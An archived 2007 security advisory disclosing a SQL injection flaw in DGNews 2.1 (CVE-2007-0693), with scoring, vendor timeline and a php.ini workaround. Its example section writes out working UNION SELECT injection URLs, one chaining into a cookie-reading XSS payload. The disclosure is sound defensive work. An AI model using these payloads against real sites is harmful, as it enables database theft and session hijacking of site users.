netVigilance Vulnerability intelligence since 2004

Archived document Original netVigilance advisory, published May 28 2007. Preserved as published — the advisory text and version numbers are unchanged; it is shown here converted from the original HTML page.

advisory0022 · CVE-2007-0693 · published 2007-05-28

DGNews version 2.1 SQL Injection Vulnerability

archived risk: high

Current status

This advisory describes a vulnerability from 2007. It is not in the CISA Known Exploited Vulnerabilities catalog and there is no active remediation deadline. The page is kept online because other security databases link to it.

CVE reference CVE-2007-0693
In KEV catalog no
Affected software DGNews version 2.1
Captured from netvigilance.com

Original document

Reproduced as it was published, including the advisory numbering, scoring and the disclosure timeline used at the time.

converted from html as published 2007-05-28
Description:

DGNews is small and simple but powered news publishing. Easy installation, no programing required. But you can still change whatever you want (for advanced users). Features: add unlimited categories, automatic news image thumbnailed, click count, user comment, print view and many others. Include full lay out, but sure, you can modify what you need.

This vulnerability can be exploited only when PHP magic_quotes_gpc = Off.

External References:
Mitre CVE: CVE-2007-0693
NVD NIST: CVE-2007-0693
OSVDB: 34227
BUGTRAQ/BID: 24201

Summary:
DGNews is small and simple but powered news publishing.
Security problems in the product allow attackers commit SQL injections.

Release Date:
May 28 2007

Severity:
Risk: High

CVSS Metrics:
Access Vector: Remote
Access Complexity: High
Authentication: Not-required
Confidentiality Impact: Complete
Integrity Impact: Partial
Availability Impact: Partial
Impact Bias: Confidentiality
CVSS Base Score: 6.8

Target Distribution on Internet: Low

Exploitability: Functional Exploit
Remediation Level: Workaround
Report Confidence: Uncorroborated

Vulnerability Impact: Attack
Host Impact: SQL Injection

SecureScout Testcase ID:
TC 17952

Vulnerable Systems:
DGNews version 2.1

Vulnerability Type:
SQL injection allows malicious people to execute their own SQL scripts. This could be exploited to obtain sensitive data, modify database contents or acquire administrator's privileges.

Vendor:
Dian Gemilang

Vendor Status:
The Vendor has been notified several times on many different email addresses last on 14 May 2007. The Vendor has not responded. There is no official fix at the release of this Security Advisory.

Workaround:
In the php.ini file set magic_quotes_gpc = On.

Example:

REQUEST:
http://[TARGET]/[PRODUCT-DIRECTORY]/news.php?go=newslist&catid=' UNION SELECT 1,`site_title` FROM `news_config` WHERE '1 OR (resultant XSS Attack) http://[TARGET]/[PRODUCT-DIRECTORY]/ news.php?go=newslist&catid=' UNION SELECT 1,'<script>alert(document.cookie)</script>' FROM `news_config` WHERE '1

REPLY:
<table width="95%" border="0" cellpadding="2" cellspacing="2" align="center"> <tr> <td class="newscat"><a href=" http://[TARGET]/[PRODUCT-DIRECTORY]" class="newscat">Home</a>[SQL INJECTION RESULT]<br />&nbsp;</td></tr></table>

Credits:
Jesper Jurcenoks
Co-founder netVigilance, Inc
www.netvigilance.com
Original URL: /advisory0022.html · preserved at the same address

Why this page still exists

Advisories published between 2004 and 2015 are referenced by vulnerability databases, academic papers and mailing list archives. Removing them would break those references, so every advisory keeps its original address and its original text. Nothing on this page has been rewritten to match current practice.